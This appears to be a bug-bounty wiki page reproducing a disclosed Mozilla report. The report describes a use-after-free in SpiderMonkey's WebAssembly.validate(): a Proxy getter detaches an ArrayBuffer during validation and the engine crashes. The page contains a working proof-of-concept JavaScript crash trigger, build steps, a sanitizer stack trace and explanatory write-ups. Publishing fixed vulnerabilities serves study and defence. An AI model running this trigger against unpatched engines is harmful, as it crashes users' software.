Skip to content
Memory corruption Disclosed report Advanced

Use-After-Free in WebAssembly Module Validation via Detached ArrayBuffer

SpiderMonkey's WebAssembly.validate() kept a raw pointer to an ArrayBuffer's data while it later read a property from the options object, so a Proxy getter could detach the buffer mid-validation. The decoder then read from freed or unmapped memory, causing a crash.

Nan Wang Follow

Originally disclosed on Mozilla

  • Fixed in 31 hours
  • Paid in 34 hours
  • Disclosed after 31 hours

Reproduce

  1. Clone the Firefox mirror from https://github.com/mozilla-firefox/firefox

  2. Run build command in the js/src directory of the firefox checkout:

    Bash
    mkdir fuzzbuild_OPT.OBJ && cd fuzzbuild_OPT.OBJ && ../configure --enable-address-sanitizer --disable-jemalloc --enable-debug --enable-optimize --disable-shared-js --enable-application=js --enable-gczeal && make -j64
    
  3. Run poc: fuzzbuild_OPT.OBJ/dist/bin/js poc.js

Test SpiderMonkey commit hash: 3c23ce1368431d49bae08e8e211f7f2bf4e4829d

commit 3c23ce1368431d49bae08e8e211f7f2bf4e4829d
Author: stransky <[address removed]>
Date: 2025-09-08 04:20:40 +0000

Bug 1979106 [Wayland] Don't recycle buffer transactions across WaylandSurfaces r=emilio

POC (poc.js):

JavaScript
// Ultra-minimal WebAssembly crash
const buffer = new ArrayBuffer(4294967303);  // 4GB+ buffer
const options = new Proxy({}, {
  get(target, prop) {
    if (prop === 'builtins') {
      buffer.transfer();  // Detach buffer
      gc();              // Force garbage collection
    }
  }
});
WebAssembly.validate(buffer, options);

Root Cause

The vulnerability occurs due to a use-after-free condition in SpiderMonkey's WebAssembly module validation process when handling detached ArrayBuffers. The issue arises when WebAssembly.validate() is called with a large ArrayBuffer and a Proxy object that triggers buffer detachment during the validation process.

The crash occurs in the WebAssembly decoder's read() method in WasmBinary.h:316 when attempting to read from a detached buffer. During validation, WebAssembly.validate() accesses the options object to check for the 'builtins' property, which triggers the Proxy getter. The getter calls buffer.transfer() which detaches the ArrayBuffer, making its underlying memory inaccessible. However, the validation process continues and attempts to read from the now-invalid memory location.

The problematic code path is in WasmBinary.h:

C++
// Line 316 in Decoder::read()
template <class T>
[[nodiscard]] bool read(T* out) {
  if (bytesRemain() < sizeof(T)) {
    return false;
  }
  memcpy((void*)out, cur_, sizeof(T));  // SEGV occurs here - cur_ points to detached buffer
  cur_ += sizeof(T);
  return true;
}

The sequence of events is:

  1. WebAssembly.validate() is called with a large ArrayBuffer (4GB+) and Proxy options
  2. The validation process begins by creating a Decoder with a pointer to the buffer's data
  3. During validation, the engine accesses the options object looking for the 'builtins' property
  4. The Proxy getter is triggered, which calls buffer.transfer() to detach the ArrayBuffer
  5. Garbage collection is forced, potentially freeing the detached buffer's memory
  6. The validation continues and calls Decoder::read() which attempts to memcpy from the invalid memory location
  7. This results in a SEGV when trying to read from address 0x7f957d300000 (unmapped memory)

Crash Stack Trace

UndefinedBehaviorSanitizer Error: SEGV on unknown address 0x7f957d300000

Stack frames showing crash path:

UndefinedBehaviorSanitizer:DEADLYSIGNAL
==2668821==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x7f957d300000 (pc 0x5572432ad2d8 bp 0x7ffe22c83b90 sp 0x7ffe22c83b70 T2668821)
==2668821==The signal is caused by a READ memory access.

    #0 0x5572432ad2d8 in memcpy /home/sakura/.mozbuild/sysroot-x86_64-linux-gnu/usr/include/x86_64-linux-gnu/bits/string3.h:51:10
    #1 0x5572432ad2d8 in bool js::wasm::Decoder::read<unsigned int>(unsigned int*) /home/sakura/gecko-dev/js/src/wasm/WasmBinary.h:316:5
    #2 0x5572432ad2d8 in js::wasm::Decoder::readFixedU32(unsigned int*) /home/sakura/gecko-dev/js/src/wasm/WasmBinary.h:468:57
    #3 0x5572432ad2d8 in DecodePreamble(js::wasm::Decoder&) /home/sakura/gecko-dev/js/src/wasm/WasmValidate.cpp:2443:10
    #4 0x5572432ad47d in js::wasm::DecodeModuleEnvironment(js::wasm::Decoder&, js::wasm::CodeMetadata*, js::wasm::ModuleMetadata*) /home/sakura/gecko-dev/js/src/wasm/WasmValidate.cpp:3903:8
    #5 0x5572432b754d in js::wasm::Validate(JSContext*, js::wasm::BytecodeSource const&, js::wasm::FeatureOptions const&, std::unique_ptr<char [], JS::FreePolicy>*) /home/sakura/gecko-dev/js/src/wasm/WasmValidate.cpp:4292:8
    #6 0x5572431d2f7e in WebAssembly_validate(JSContext*, unsigned int, JS::Value*) /home/sakura/gecko-dev/js/src/wasm/WasmJS.cpp:4700:20

Register values at crash:

rax = 0x0000000000000000  rbx = 0x00007ffe22c84248  rcx = 0x0000000000000004  rdx = 0x00007f957d300000  

The original report as published on Mozilla's Bugzilla, by Nan Wang. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the validator cached a raw pointer to the ArrayBuffer contents and then called back into JavaScript (reading the 'builtins' option) before finishing its reads, without re-checking that the buffer was still attached.

Impact

The engine crashed with a segmentation fault on a read from unmapped memory; the text does not show code execution, only a denial-of-service crash.

What the attacker needed

Ability to run JavaScript in the engine; a 4GB+ ArrayBuffer allocation

How it was found

  1. Build the SpiderMonkey shell with the given configure flags.
  2. Create a large ArrayBuffer and a Proxy as the options argument.
  3. The Proxy getter detaches the buffer and forces garbage collection when 'builtins' is read.
  4. Call WebAssembly.validate with the buffer and the Proxy.
  5. The decoder reads from the detached buffer and crashes.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A program can hold a pointer to a chunk of memory and then that memory is released while the pointer is still used. Here the WebAssembly validator looked at the buffer, then ran attacker-controlled JavaScript that freed the buffer, then carried on reading from the old location. That is a use-after-free, and it crashed the browser engine.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More by Nan Wang

View all

13 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.